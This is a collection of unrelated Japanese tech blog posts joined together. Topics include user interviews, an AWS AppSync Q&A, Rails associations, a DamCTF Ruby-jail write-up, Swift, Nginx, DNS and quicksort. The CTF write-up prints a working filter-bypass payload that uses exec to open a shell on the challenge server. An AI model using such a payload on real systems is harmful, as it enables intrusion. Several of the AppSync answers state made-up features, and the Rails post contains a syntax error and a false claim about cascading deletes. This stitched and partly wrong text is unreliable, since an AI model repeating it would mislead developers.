エンジニアもデザイナーも、みんなユーザーインタビューに参加しよう

私は3月に初めてユーザインタビューに参加しました。とても学ぶことが多かったので、開発者全員におすすめする記事を書こうと思います。


目次
ユーザーのニーズを直接理解する
共通言語を作る
単純に楽しい
GPT4によるまとめ

ユーザーのニーズを直接理解する
ユーザーインタビューの良いところは、ユーザーの顔が見えることです。普段パソコンと向き合っているだけでは分からない、生の意見を吸い上げることができます。自分で開発を始めてみて、開発中はどんどん正常化バイアスが働くことを実感しました（特に個人）。この機能を付け足した方がいいんじゃないか、メニュー画面の構成はこうしてみよう、などをどんどん自分の頭で妄想してしまいます。
その結果、自分たちのアイデアや機能がユーザーにとって価値があると信じ込んでしまい、ユーザーの本当のニーズを見落とすことがあります。また、長期間取り組み愛着を持ってしまったプロダクトはその価値を過大評価してしまうことがあります。
ユーザーインタビューを行うことで、「この機能本当は全然使われてなかったんだ」と気がつけます。

共通言語を作る
開発においては、暗黙知を形式値に変換しメンバー全員の感覚を同じ方向に向けることが重要なのだと思います。同じ作業をしていても、見据える先が違ったらそれは後々破綻します。
やはり重要なのは「感覚を共有する」ということではないでしょうか。
それもスキルや表面的なTipsでない、暗黙知的な感覚です。誰かがユーザーインタビューをたくさん行って、発見ををまとめたプレゼンを聞いても得られるのは形式知です。自分の、肉体的な感覚としてユーザーの声を落とし込むことは難しいでしょう。
野中郁次郎著の『知識創造企業』でも言及されています。
ホームベーカリーの開発を行う中で、どうしても技術的に再現できない職人独自の技がありました。開発は難航し、マネージャーと技術者の間で何をどのように再現するか共通認識が取れませんでした。
そんな中、マネージャーは職人ならではのパンこね技術を「ひねり伸ばし」と命名し、エンジニアにもわかるように説明しました。またエンジニア数名も職人のもとに派遣され、パン作りの技術をその手で体験したのです。

「職人さんが語れないんだったら、技術屋さんが職人にならなきゃいかんですね」知識創造企業(新装版)　野中 郁次郎 (著), 竹内 弘高 (著), 梅本 勝博 (翻訳)

触ったことのないものを再現することは困難です。感覚を掴めないまま手探りの状態で作業を続けることはチーム的にも負荷が大きくモチベーション低下につながります。
ユーザーファーストを目指すのであれば、ユーザーともっと話さないといけない。みんなで経験を共有することが重要だと思います。

「エンジニアたちも、パン生地の感触を得るためにそのチーフベーカーのところで数時間すごして「経験を共有」しなければならなかった。」知識創造企業(新装版)　野中 郁次郎 (著), 竹内 弘高 (著), 梅本 勝博 (翻訳)
単純に楽しい
毎回同じ流れなので、飽きてしまうかなと最初は思っていたのですが完全に杞憂でした。
流れや傾向は同じでも人によって考えていることや使う単語が違っていて、毎回何か新しい発見があります。
また見学者がいる際には振り返りも非常に密なものになり、自分にはなかった視点を注入してくれるのでそれもまた楽しい。なのでチームや社内でユーザーインタビューが行われていたら、積極的に見学してみると多くの発見があると思います。そしてユーザーから何気なく技術やデザインを褒められるので、「あの時の頑張り、ちゃんと届いてた！」となると思います。

GPT4によるまとめ
・ユーザーインタビューによって、開発者はユーザーのニーズを直接理解し、正常化バイアスを防ぎ、本当のニーズに基づいた機能やデザインを開発できる。

・開発チーム全員がユーザーインタビューに参加することで、共通言語を作り、暗黙知を形式知に変換し、感覚を共有できる。これにより、チーム内での認識の共有が向上し、プロジェクトの成功率が上がる。

・ユーザーインタビューは単純に楽しく、毎回新しい発見があり、技術やデザインへのフィードバックも得られる。これにより、開発者のモチベーションが上がり、プロジェクト全体の効率が向上する。

ちなみにこの記事はまず Voice inという文字起こしツールでざっくり思ったことをしゃべり、GPTと相談しながら書いてみました。
[AWS Q&A 365][AppSync]AWSのよくある問題の毎日5選 #25

# 1. AWS AppSyncにおけるキャッシングの動作は何ですか？
回答：AWS AppSyncはAPIのパフォーマンスを向上させるためにキャッシングの動作を提供しています。クエリまたはミューテーションのレスポンスをキャッシュし、後続のリクエストでキャッシュから提供します。

# 2. AWS AppSyncでキャッシュを暗号化できますか？
回答：はい、AWS AppSyncではAWS Key Management Service（KMS）を使用してキャッシュを暗号化することができます。これにより、キャッシュにさらなるセキュリティレイヤーが提供されます。

# 3. AWS AppSyncでキャッシュエントリーを削除するにはどうすればよいですか？
回答：リゾルバ内のCacheKeyパラメータを使用して、AWS AppSyncでキャッシュエントリーを削除することができます。IdentityCacheKeyパラメータを使用して、IDに基づいてキャッシュエントリーを削除することもできます。

# 4. AWS AppSyncでのキャッシュのインスタンスタイプは何がありますか？
回答：AWS AppSyncは、AWS AppSync Standard、AWS AppSync Dedicated、およびAmazon ElastiCacheを含む複数のインスタンスタイプでキャッシングをサポートしています。

# 5. AWS AppSyncでキャッシュログを分析するにはどうすればよいですか？
回答：CloudWatch Logs Insightsを使用して、AWS AppSyncでキャッシュログを分析することができます。これにより、ログを検索してフィルタリングし、問題を特定し、APIのパフォーマンスを向上させることができます。
[AWS Q&A 365][AppSync]Daily Five Common Questions #25

# 1. What is the caching behavior in AWS AppSync? 
Answer: AWS AppSync provides caching behavior to improve the performance of your API. It caches the response of a query or mutation and serves it from the cache on subsequent requests. 

# 2. Can I encrypt the cache in AWS AppSync? 
Answer: Yes, AWS AppSync allows you to encrypt the cache using AWS Key Management Service (KMS). This provides an additional layer of security to your cache. 

# 3. How can I evict a cache entry in AWS AppSync? 
Answer: You can evict a cache entry in AWS AppSync by using the CacheKey parameter in the resolver. You can also evict a cache entry based on identity using the IdentityCacheKey parameter. 

# 4. What are the instance types available for caching in AWS AppSync? 
Answer: AWS AppSync supports caching on several instance types, including AWS AppSync Standard, AWS AppSync Dedicated, and Amazon ElastiCache. 

# 5. How can I analyze my cache logs in AWS AppSync? 
Answer: You can analyze your cache logs in AWS AppSync using CloudWatch Logs Insights. This allows you to search and filter your logs to identify issues and improve the performance of your API.
【Ruby on Rails】双方向関連付けを宣言するinverse_of

# はじめに

Railsなどを中心に勉強中のエンジニア初心者が他の記事を参考にしたり、実際に実装してみたりして、アウトプットの一環としてまとめたものです。
間違っていることもあると思われるので、その際は指摘いただけると幸いです。

# 双方向関連付け

下記のように、`belongs_to`メソッド、`has_many`メソッドを用いることで互いのモデルを関連付けることができる。

```ruby
class User < ApplicationRecord
  has_many :posts
end

class Post < ApplicationRecord
  belongs_to :user
end
```

上記のように互いのモデルが関連づけられていると、例えば`user.post.name`でユーザーが所持する`post`の`name`を取得したり、`post.user.name`で`post`が紐づいている`user`の`name`を取得したりすることができる。

また、特定の`user`を削除した場合は、その`user`に紐づく`post`も削除される。

ただし、このようにして関連付けによって値を取得できるのは、**Railsの規約通りの名前を使った場合のみ**である。

> ちなみに、双方向関連付けが自動で認識されるようになったのは、Rails4.1以降とのこと。
> 

# 双方向関連付けが自動認識されない場合

前述したように、Railsの規約通りの名前であれば、モデルに関連付けを記載するだけで、互いのモデルを介して値を取得することができる。

ただし、規約から外れた名前を使う場合は、`inverse_of`を用いて双方向関連付けを明示的に宣言する必要がある。

例えば、以下の例は`Post`の`belongs_to`で宣言している`author`が規約名からは外れている。

```ruby
class User < ApplicationRecord
  has_many :posts
end

class Post < ApplicationRecord
  belongs_to :author, foreign_key: "user_id", class_name: "User"
end
```

このような場合は、以下のように`User`側で`inverse_of`を宣言することで、双方向関連付けを明示的に示すことができる。

```ruby
class User < ApplicationRecord
  has_many :posts, inverse_of :author
end

class Post < ApplicationRecord
  belongs_to :author, foreign_key: "user_id", class_name: "User"
end
```

# 参考

https://zenn.dev/igaiga/books/rails-practice-note/viewer/ar_inverse_of

https://www.sejuku.net/blog/66868

https://railsguides.jp/association_basics.html

# 最後に

いかがでしたでしょうか。
ここ違うよ！でしたり、こうした方がいいよ！などがあればコメントいただけると幸いです。

他にも下記のような記事を投稿しております。
興味がありましたら、ぜひご覧ください。

https://qiita.com/sekkey_777/items/4b12da7edf5dbe503a67
【DamCTF】misc/incharcerated のWriteUp

# 概要

2023年4月8日(土) 9:00から翌日9:00の24時間で行われたDamCTFのincharceratedという問題のWriteupです。
僕が所属するチーム`Begineers Sec`は451チーム中50位を取ることができました 🎉

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/37986088-603c-af20-10f2-26b0ea34a4ba.png)

# incharcerated

Miscの問題です。451チーム出ていて、50チームしか解けていないのでMiscにしては割と難易度は高めだったと思われます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/f946bb45-2cd9-6602-b198-c690e39a20a3.png)

# ダウンロード

まずは問題を見ます。
`nc`で接続できるようになっていることがわかり、中で動いているコードがダウンロードできます。

```ruby:jail.rb
#!/usr/bin/env ruby
# RUBY_VERSION == 3.2

puts <<~'HEADER'
      ----------------------------
        ||     ||      ||     ||
        ||     ||      ||     ||
        ||  ___|| ____ ||___  ||
        || /   ||'    `||   \ ||
        ||____/||______||\____||
        ||\   \||      ||/   /||
        || `\  ||      ||  /' ||
        ||    `||\    /||'    ||
        ||     ||\ \/ /||     ||
        ||     || `\/' ||     ||
      ----------------------------
  jailed for crimes against parentheses

HEADER

printf '>>> '
STDOUT.flush
input = readline.chomp

# cant make this too easy
class Object
  def system(*)
    'nice try youre not getting the flag this way'
  end

  def spawn(*)
    'or this way either'
  end
end

if input =~ /[^a-z.;=_ ]/
  # be nice and print out what character failed
  puts "failure builds character: #{Regexp.last_match}"
  exit 1
end

eval(input)
```

実行してみると以下のような感じです。

```
┌──(ayato㉿AyatoDesktop)-[~]
└─$ nc chals.damctf.xyz 31313
    ----------------------------
      ||     ||      ||     ||
      ||     ||      ||     ||
      ||  ___|| ____ ||___  ||
      || /   ||'    `||   \ ||
      ||____/||______||\____||
      ||\   \||      ||/   /||
      || `\  ||      ||  /' ||
      ||    `||\    /||'    ||
      ||     ||\ \/ /||     ||
      ||     || `\/' ||     ||
    ----------------------------
jailed for crimes against parentheses

>>>
```

# コードが行ってること

コードは`system`と`spawn`をオーバーライドして使えなくしています。

そして入力を`\n`まで読み込み、`a-z`, `.`, `;`, `=`, `_`, ` `が以外の文字が入っていたら終了します。

それ以外であれば、`eval`で入力値がRubyの命令として実行されます。

# 解法

Rubyの文法と使える文字列から考えて、着目点としては以下の通りです。

- `=`で変数に文字を代入できる
- `"`や`'`の利用はできない
- `;`を用いて複数の命令を1行にかける
- `input`はチェックされるがそのあとにはチェックが行われない

つまり、**変数に`/bin/bash`を代入して、`exec`で呼び出せばいい。** ということになります。

具体的なペイロードは以下です。

```
a=readline.chomp;exec a
/bin/bash
```

このコードを実行すると、`eval(a=readline.chomp;exec a)`が実行されます。
そのあとに標準入力から受け取ったコマンドを`exec`で実行するので、`/bin/bash`が呼ばれます。

```
┌──(ayato㉿AyatoDesktop)-[~]
└─$ nc chals.damctf.xyz 31313
    ----------------------------
      ||     ||      ||     ||
      ||     ||      ||     ||
      ||  ___|| ____ ||___  ||
      || /   ||'    `||   \ ||
      ||____/||______||\____||
      ||\   \||      ||/   /||
      || `\  ||      ||  /' ||
      ||    `||\    /||'    ||
      ||     ||\ \/ /||     ||
      ||     || `\/' ||     ||
    ----------------------------
jailed for crimes against parentheses

>>> a=readline.chomp;exec a
/bin/bash

ls
flag
jail.rb
cat flag
dam{the-real-rubytaco-was-the-symbols-we-found-along-the-way}
```

わーい。楽しい問題でした。
【Swift】GETリクエストでパラメータを送信する方法

# 記事の背景
 API を利用する際に、GET リクストで値を送信しようとしたところエラーが発生しました。
 そこで、この記事では、GET リクエストで値を送信するとなぜエラーが起こるのか、そして GET リクエストで正しく値を送信する方法について説明します。

## 開発環境
- Swift
- Xcode 14.2

## エラーコード
`GET method must not have a body`
# 本論
## GETで値を渡すとエラーになる理由
エラーコードにも書いてある通り、基本的に GET メソッドではリクエストボディを指定してはいけません。

理由は主に 2 つあります。

- GET リクエストの目的に違反する
- HTTP/1.1 の仕様

### GETリクエストの目的
[GETリクスト](https://www.rfc-editor.org/rfc/rfc2616#section-9.3)は、リソースを取得するために存在します。
リクエストボディは、リソースを取得するためのものです。
リクエストボディを使用すると、それが変更や作成を意味する POST や PUT リクエストと混同される危険性があります。

### HTTP/1.1の仕様
[HTTP/1.1の仕様の4.3節](https://www.rfc-editor.org/rfc/rfc2616#section-4.3)において、GET リクエストはリクエストボディを持つべきではないとされています。
もし、GET リクエストボディを持たせると、サーバーやプロキシなどの中継機器がリクエストボディを無視する可能性があります。
そのため、期待した結果を得られない場合があります。

以上の理由から、GET リクエストでリクエストボディを指定することは避けるべきです。

## GETリクエストで正しく値を送信する方法
上記の理由で GET リクエストでは、リクエストボディの指定ができないため、適切にデータを送信するには**クエリパラメータ**を活用しましょう。これにより、簡単かつ正確に値を伝えることができます。

クエリパラメータとは、WEB ブラウザや他のアプリケーションが WEB サーバにデータを送信する際、送信先の URL の末尾に特定の形式で表記される情報です。

しかし、アプリケーションによっては GET リクエストだけでなく、POST や PUT などの他のリクストも使われることがあります。

そこで、Swift の構造体を活用し、GET リクエストとそれ以外のリクエストに分けて処理を行う方法が効果的です。

実際に、コードを見てみると、以下のようになります[^1]。

[^1]:このコードは[ある方のQiita記事](https://qiita.com/toya108/items/a74a6165f923f9cb0871#%E3%82%AF%E3%83%A9%E3%82%A4%E3%82%A2%E3%83%B3%E3%83%88%E6%9C%AC%E4%BD%93)を参考にさせていただきました。

```Swift:Swift
enum HttpMethod: String {
    case get = "GET"
    case post = "POST"
    case put = "PUT"
    case delete = "DELETE"
    case patch = "PATCH"

    func urlRequest(url: URL, data: Data?) throws -> URLRequest? {
        var request = URLRequest(url: url)
        switch self {
        case .get:
            guard let data = data else {
                request.httpMethod = rawValue
                return request
            }

            guard var components = URLComponents(url: url, resolvingAgainstBaseURL: true),
                let dictionary = try JSONSerialization.jsonObject(with: data, options: []) as? [String: Any] else { return nil }

            components.queryItems = dictionary.map { URLQueryItem(name: $0.key, value: "\($0.value)") }
            guard let getUrl = components.url else { return nil }
            var request = URLRequest(url: getUrl)
            request.httpMethod = rawValue
            return request

        case .post, .put, .delete, .patch:
            request.httpMethod = rawValue
            request.httpBody = data
            return request
        }
    }
}
```

# まとめ

 API を活用する際、GET リクエストで値を送信しようとしてエラーが発生します。
 これは GET リクエストの目的と HTTP/1.1 の仕様および推奨事項に反しているためです。
 そのため、GET リクエストでリクエストボディを使用するのは避けるべきです。
 代わりに、値を送信する際にクエリパラメータを利用するのが効果的です。
GASでテンプレートのシートを月次でコピーする

シートをコピーするGASを紹介します。
以下がサンプルコードです。
GASの定期実行によって毎月定期実行することを前提にしています。
週次など変更する場合は、シート名を作成している部分を適宜変更してください。

```javascript
function copySheet() {
  // 1. テンプレートとなるシートを取得
  const spreadsheet = SpreadsheetApp.getActiveSpreadsheet();
  const templateSheet = spreadsheet.getSheetByName("テンプレ"); // コピー元のシート名を指定

  // 2. 新しいシート名を「YYYY/MM」のフォーマットで翌月になるように設定
  const nextMonth = new Date()
  nextMonth.setMonth(nextMonth.getMonth() + 1)
  const newSheetName = nextMonth.getFullYear() + "/" + ("0" + (nextMonth.getMonth()+1)).slice(-2); // 新しいシート名を作成

  // 3. シートをコピー
  const newSheet = templateSheet.copyTo(spreadsheet).setName(newSheetName);

  // 4. 左から「新しく作成したシート」「テンプレシート」の順になるように並び替える
  spreadsheet.setActiveSheet(templateSheet);
  spreadsheet.moveActiveSheet(1);
  spreadsheet.setActiveSheet(newSheet);
  spreadsheet.moveActiveSheet(1);
}
```

ポイントは次のとおりです。
- コピーしたシートは、末尾（シートが表示されているエリアの右のほう）に追加されます。
  - コピーしたシートを便利に使いたい場合は、左に移動させる必要があります。
  - 左への移動は `spreadsheet.moveActiveSheet(1)` で行います。
Googleデータアナリティクス：ワイドデータとロングデータ

# はじめに

本記事は、Googleデータアナリティクスのプロフェッショナル認定証のプログラムより、参照させて頂いています。興味を持った方は、是非受講してみてください。

https://www.coursera.org/professional-certificates/data-analytics-japanese

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2358573/36b2ca51-67fa-7818-756d-a4a47431a4c6.png" width="800">

# ワイドデータ

ワイドデータでは、 すべてのデータ対象が 1 つの行を持ち、 複数の列で、さまざまな対象の 属性の値を保持します。 ここに表計算ソフトの ワイドデータがあります。 以前、ラテン諸国とカリブ海諸国の 人口に関するこのデータについて ご説明しました。 このデータセットでは、 各行が 1 つの国に関する すべての人口情報を示しています。 各列には、異なる年の人口が含まれます。

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2358573/42e912d9-6908-31a4-d9f1-a296c1221fd5.png" width="800">

- ワイドデータでは、異なる列を簡単に識別し、 すばやく比較することができます。 この例では、データが国ごとに アルファベット順に並んでいるので、 各列の値を確認するだけで、 アンティグア・バーブーダ、 アルバ、バハマの年間人口を 比較することができます。 

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2358573/e5e14453-4590-cf5c-8eb9-2792fd109505.png" width="800">

- また、ワイドデータでは、 異なる時期の国の人口を 簡単に検索し、 比較することができます。 例えば、データを並べ替えると、 2010 年にはブラジルの人口が最も多く、 2013 年には イギリス領ヴァージン諸島の人口が 最も少ないことがわかります。

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2358573/8a604edc-b33f-f000-2605-8568ab91c5fd.png" width="800">

# ロングデータ

データはもはや 年ごとの列に整理されていません。 すべての年が 1 つの列になっており、 アルゼンチンなどの各国は、 データの年ごとに 複数の行に表示されています。 これが一般的なロングデータです。 

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2358573/62ac1062-0144-c7c0-d517-54d0980e1f89.png" width="800">

ロングデータとは、各行が対象ごと 1 時点のデータで、 各対象は複数の行に データを持つことになります。 このスプレッドシートは、各年ごとに 人口データを表示しています。 ここでは、最初にアンティグア・ バーブーダが表示されています。 

- ロングデータは、観察したい各時点で 対象ごとに複数の変数がある場合などに、 データを保存、 整理するのに最適な形式です。 
- ロングデータ形式では、 より少ない列の数で すべてのデータを保存し、 分析することができます。 
- さらに、人口の平均年齢のような新規の 変数を追加しても、足す列は 1 つだけです。 もしワイドデータ形式を使用していたら、 各年ごとに 10 の列が 必要だったでしょう。 ロングデータの形式なら、 すべてがコンパクトにまとまります。 

:::note info
もし、どちらの形式を使うべきか 迷ったときの答えは 「場合による」としか言えません。ワイドデータをロングデータ形式に 変換しなければならない場合もあれば その逆の場合もあります。 実際の仕事では、おそらく両方の フォーマットを使うことになるでしょう。 
:::

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2358573/5dce5021-01ad-7b56-4d95-5d6846b1a8f3.png" width="800">
ubuntu上のNginxのデプロイにおいて。（自分用）

ubuntuマシンを使ってデプロイ。血眼になりながら頑張ったので大切なことをまとめます。自分用なので雑です。

sites-availableにファイルを作成。わかりやすいようにプロジェクト名
使用技術によって違うため、その都度ググる。以下のソースはLaravel（php）用。

＊それと/var/www/にデプロイしたいプロジェクトをおくが、publicフォルダないと何も表示されない。常識みたいだから絶対忘れるな。
```
sudo nano /etc/nginx/sites-available/project_name

#/etc/nginx/sites-available/project_name（phpを使用している場合）
server {
    listen 80;
    listen [::]:80;
    server_name グローバルIP OR URL （プロトコルは入れるな）;
    root /var/www/プロジェクト名/public;

    add_header X-Frame-Options "SAMEORIGIN";
    add_header X-XSS-Protection "1; mode=block";
    add_header X-Content-Type-Options "nosniff";

    index index.html index.htm index.php;

    charset utf-8;

    location / {
        try_files $uri $uri/ /index.php?$query_string;
    }

    location = /favicon.ico { access_log off; log_not_found off; }
    location = /robots.txt  { access_log off; log_not_found off; }
    error_page 404 /index.php;

    location ~ \.php$ {
        fastcgi_pass unix:/var/run/php/php8.1-fpm.sock;
        fastcgi_index index.php;
        fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name;
        include fastcgi_params;
    }

    location ~ /\.(?!well-known).* {
        deny all;
    }
}
```
sites-enabledのシンボリックリンク作成
```
sudo ln -s /etc/nginx/sites-available/your_config_file /etc/nginx/sites-enabled/
```
Nginxリロード
```
sudo service nginx reload
or
sudo systemctl reload nginx
```

ここまですれば大抵OK。
他はエラーみて対処。エラーは友達。
```
sudo tail /var/log/nginx/error.log
```

　デプロイとは関係ないがubuntuのマシンを再起動かけると急にネットに繋がらなった時の対処。
```
sudo ufw enable
＃８０が解放されていることを確認
sudo ufw status
＃もしされていないなら
sudo ufw allow 80/tcp
```

今回はここまで。初めてDBより奥を触ったからすごく大変だった。『習うより慣れろ』を体現できて嬉しい限りです。いつかは初学者に説明できるくらいにまで知見を深めたいところ。
【初心者向け】DNSの仕組みについて解説

## 概要
AWS SAA合格へ向けてAWSについて１から勉強した際に学んだことを定期的にアウトプットしたいと思います

## DNSとは
Route53の説明に入る前にそもそもDNSとは何かについて解説したいと思います
DNSはドメイン名とIPアドレスを対応づけを行うための仕組みです
この仕組みがあることで人が覚えづらいIPアドレスではなく、ドメイン名を使ってWebサーバへアクセスすることができます
ドメイン名を入力すると自動的にIPアドレスに変換されます
この仕組みを名前解決といいます

## リゾルバとは
クライアントがドメイン名の解決を要求する際に、DNSサーバーに問い合わせる役割を持つソフトウェアや機器のことです
クライアントからDNSサーバへドメイン名を名前解決し、DNSサーバーから返されたIPアドレスなどの情報をクライアントに返します
一般的にルータなどのネットワーク系の機器に組み込まれていますが、コンピュータ、スマホにもOSに組み込まれたリゾルバがあります

## DNSサーバの種類
名前解決をする際にDNSサーバとやりとりをしますが種類は以下の通りです

|DNSサーバー|説明|
|-----|-----|
|ルートDNSサーバ|名前解決の際に最初に問い合わせを行うサーバ<br>世界に13台しかありません|
|権威DNSサーバ|特定のドメイン名に関する情報を保持しているサーバ<br>該当するドメイン名に関するリクエストを受けて、ドメイン名に対応するIPアドレスなどの情報を提供します|
|DNSキャッシュサーバ|よくアクセスされるドメイン名と対応するIPアドレスを一定期間保管するサーバです<br>同じ端末からアクセスがあると、DNSルートサーバーへ問い合わせを行わずにIPアドレスを返すことで応答時間を短縮できます|

## DNSレコード
DNSレコードとは、DNSサーバー内で保持されている
- ドメイン名
- ドメイン名に対応するIPアドレス
- メールサーバ
 
などの情報が格納されたデータのことです
レコードの種類は以下の通りです

|レコード|説明|
|-----|-----|
|Aレコード |ドメイン名をIPアドレスに置き換えるレコード<br>AddressのA|
|NSレコード|権威DNSサーバーのIPアドレスを指定するレコード<br>NSレコードの情報を元に権威DNSサーバーとやり取りを行いIPアドレスを取得する<br>Name Server Recordの略|
|SOAレコード|ドメイン名に関する権威情報を提供するために使用されます<br>Start of Authority Recordの略|
|CNAMEレコード|1つのドメイン名を別のドメイン名にマッピングするレコード<br>特定のドメインを別のドメインに転送する場合に使用<br>1つのドメイン名に関連する複数のサブドメインがある場合に有用<br>たとえば、`example.com`をCNAMEレコードで`www.example.com`にマッピングできる<br>Canonical NAMEの略|

## 参考
https://www.onamae.com/column/domain/46/

https://www.onamae.com/column/domain/44/

https://atmarkit.itmedia.co.jp/fnetwork/dnstips/011.html

https://repost.aws/ja/knowledge-center/acm-certificate-pending-validation

https://zatoima.github.io/aws-acm-ssl-certigication-setting/

https://milestone-of-se.nesuke.com/nw-basic/grasp-nw/dns/

https://hp-shizuoka.jp/column/2016/10/7515/

https://baremail.jp/blog/2019/10/25/347/

https://qiita.com/hypermkt/items/610b5042d290348a9dfa
Pythonでクイックソートを実装してみた

# 概要
Pythonでクイックソートを実装してみました。以下のページを参考にしました。
http://www1.cts.ne.jp/~clab/hsample/Sort/Sort9.html

# ソースコード
上記コードのC言語になっているのをPythonに書き換えただけです。新規性はありません。

```quick_sort2.py
import random

data = {}
data2 = {}
NUM = 10
i = 0
while i < NUM:
    data[i] = random.random()
    i = i + 1

#show
def show_data():
    print("==>> show data")
    i = 0
    while i < NUM:
        print ( str(i) + ":" + str(data[i]) )
        i = i + 1

def show_data2():
    print("==>> show data2")
    i = 0
    while i < NUM:
        print ( str(i) + ":" + str(data2[i]) )
        i = i + 1

#copy
def copy_data_to_data2():
    print("==>> copy data to data2")
    i = 0
    while i < NUM:
        data2[i] = data[i]
        i = i + 1

#quick_sort2
def quick_sort2(array, left, right):
    print("==>> quick sort2")
    i = left
    j = right
    pivot = array[int((left+right) / 2)]
    while True:
        while array[i] < pivot:
            i = i + 1
        while pivot < array[j]:
            j = j - 1
        if i >= j:
            break
        tmp = array[i]
        array[i] = array[j]
        array[j] = tmp
        i = i + 1
        j = j - 1
    if left < i - 1:
        quick_sort2(array, left, i - 1)
    if j + 1 < right:
        quick_sort2(array, j + 1, right)

copy_data_to_data2()
show_data2()
quick_sort2(data2, 0, NUM-1)
show_data2()
```

# 実行結果
ちゃんと実行できました。アルゴリズムは無事動いているようです。

```
$ python3 quick_sort2.py 
==>> copy data to data2
==>> show data2
0:0.8969745850034738
1:0.6939236435877685
2:0.6311058167247571
3:0.45635917159782413
4:0.2613377918663322
5:0.39833556618487165
6:0.509455775434223
7:0.20510519476218125
8:0.9416542109856895
9:0.6955748482344979
==>> quick sort2
==>> quick sort2
==>> quick sort2
==>> quick sort2
==>> quick sort2
==>> quick sort2
==>> quick sort2
==>> quick sort2
==>> show data2
0:0.20510519476218125
1:0.2613377918663322
2:0.39833556618487165
3:0.45635917159782413
4:0.509455775434223
5:0.6311058167247571
6:0.6939236435877685
7:0.6955748482344979
8:0.8969745850034738
9:0.9416542109856895
```
Qiita用に動画をGifに変換にする

Qiita や Github に Gif を投稿したい。
しかしサイズが大きい。
そんなときは FFMpeg を使えば便利です。

```cmd
ffmpeg -ss 10 -i input.mov -t 5 -vf scale=480:-1 -r 5 output.gif
```

フレームレート = 5
幅 = 480px
切り出し ＝ 10秒後から5秒間
![1.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/253995/56b7b44e-5353-c58c-6d2e-acc2621b5a5d.gif)
私が以前の記事で投稿したGifです。サイズは 831 KB と軽いです。
MAC 標準アプリでもできますが、フレームレートが高くサイズが大きいのが問題です。ちなみに MAC で Gif を再生するにはファイルを選択してスペースを押せばできます。
これでQiitaやGithubにもバシバシ投稿できます。動きがある方が分かりやすいですよね。
AWS codedeployでサンプルアプリを編集してS3配置するとデプロイに失敗した

# AWS codedeployでS3にファイルPUT後、EC2のファイルが更新されなかった
## [サンプルアプリ](https://docs.aws.amazon.com/ja_jp/codedeploy/latest/userguide/resource-kit.html#resource-kit-download-file)だとデプロイ成功し、問題ない
## サンプルアプリの一部を変更し、macでFinderからzip圧縮するとEC2でファイルが更新されておらず、デプロイに失敗した。
## 原因
### zipファイルを解凍したときに階層がサンプルアプリと異なっていた
### macのターミナルからzip -rコマンドで圧縮しS3にPUTすると成功した。
Blenderのアニメーションのキーフレームが打てない時の対処法

【問題の詳細】
Blenderでアニメーションのキーフレームを打とうとしても反映されない。具体的に言うと、キーフレームを打つために「iキー」を押しても以下画像のような表示がされるのみでキーフレームが打てない。![Desktop Screenshot 2023.04.09 - 18.45.45.97.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3326415/ce2c844d-5e2e-8f22-c940-935b596933ad.png)

【原因】
マウスカーソルをタイムライン上に置いた状態で「iキー」を押しているのが原因。![fotor_2023-4-9_19_8_53.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3326415/17f21a26-9fe5-f818-e80b-13a7e8213519.png)

【対処法】
３Dビュー画面上にマウスカーソルを置いて「iキー」を押せばOK

以下手順
1.３Dビュー画面上にマウスカーソルを置いた状態で「iキー」をクリック。![fotor_2023-4-9_19_18_34.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3326415/21a91f0f-156d-5db9-7bb4-575ed9cd6cab.png)

2.変化させる対象を選択。例として、オブジェクトを回転させるアニメーションを作りたいのであれば「回転」を選択。今回はオブジェクトを右に動かしたいので「位置」を選択![fotor_2023-4-9_19_22_31.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3326415/b009f191-5f7a-8322-ac1a-2773c497a7a3.png)

3.キーフレームが打たれていればOK![fotor_2023-4-9_19_25_54.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3326415/12909350-d0f6-daab-9861-ae2862ded055.png)

【最後に】
以上がblenderでキーフレームが打てない時の対処法でした。
Googleデータアナリティクス：データ型

# はじめに

本記事は、Googleデータアナリティクスのプロフェッショナル認定証のプログラムより、参照させて頂いています。興味を持った方は、是非受講してみてください。

https://www.coursera.org/professional-certificates/data-analytics-japanese

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2358573/36b2ca51-67fa-7818-756d-a4a47431a4c6.png" width="800">

# 

データ型とは、 データがどのような値であるかを示す 特定の種類のデータ属性のことです。 言い換えれば、データ型は あなたが扱っている データの種類を示すものです。 データ型は、 使用しているクエリ言語によって 異なる場合があります。 例えば、SQL では、 使用するデータベースによって 異なるデータ型を使用できます。 

表計算ソフト上の データ型は、3 つあります。 
- 数値型
- テキスト型または文字列型
- ブーリアン型

です。 

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2358573/fd04ee1e-3c86-a79c-c8b5-8d26e480e697.png" width="800">

### <font color="MediumBlue">数値型</font>

B、D、そして F 列を見ると、数値データ型が あることがわかります。 それぞれの数値は、 特定の週の「カップケーキ」、 「アイスクリーム」、「キャンディ」 という用語に対する検索トレンドを表しています。 

### <font color="MediumBlue">テキスト型または文字列型</font>

H 列では、検索データに基づいて、 各週で最も人気のあるお菓子を 示しています。 2019 年 7 月 28 日から始まる週の、 セル H4 を見るとわかるように、 最も人気のあるお菓子は アイスクリームだった、というわけです。 この例では、その情報は お菓子の名前と人の名前になります。 

またこれらには、 電話番号や住所など ときに数字も含まれます。 しかし、それらの数字は 計算に使われることはないでしょう。 この場合、含まれた数字は 数字ではなく、テキストとして扱われます。 

### <font color="MediumBlue">ブーリアン型</font>

C 列、E 列、 そして G 列には テキストがあるように見えますね。 しかし、ここでのテキストは、 テキストや文字列のデータ型ではありません。 ブーリアン型、と 呼ばれるものです。 ブーリアン型は、 

- 真(true) or 偽(false)
- はい or いいえ

など、 2 つの値しか持たないデータ型です。 

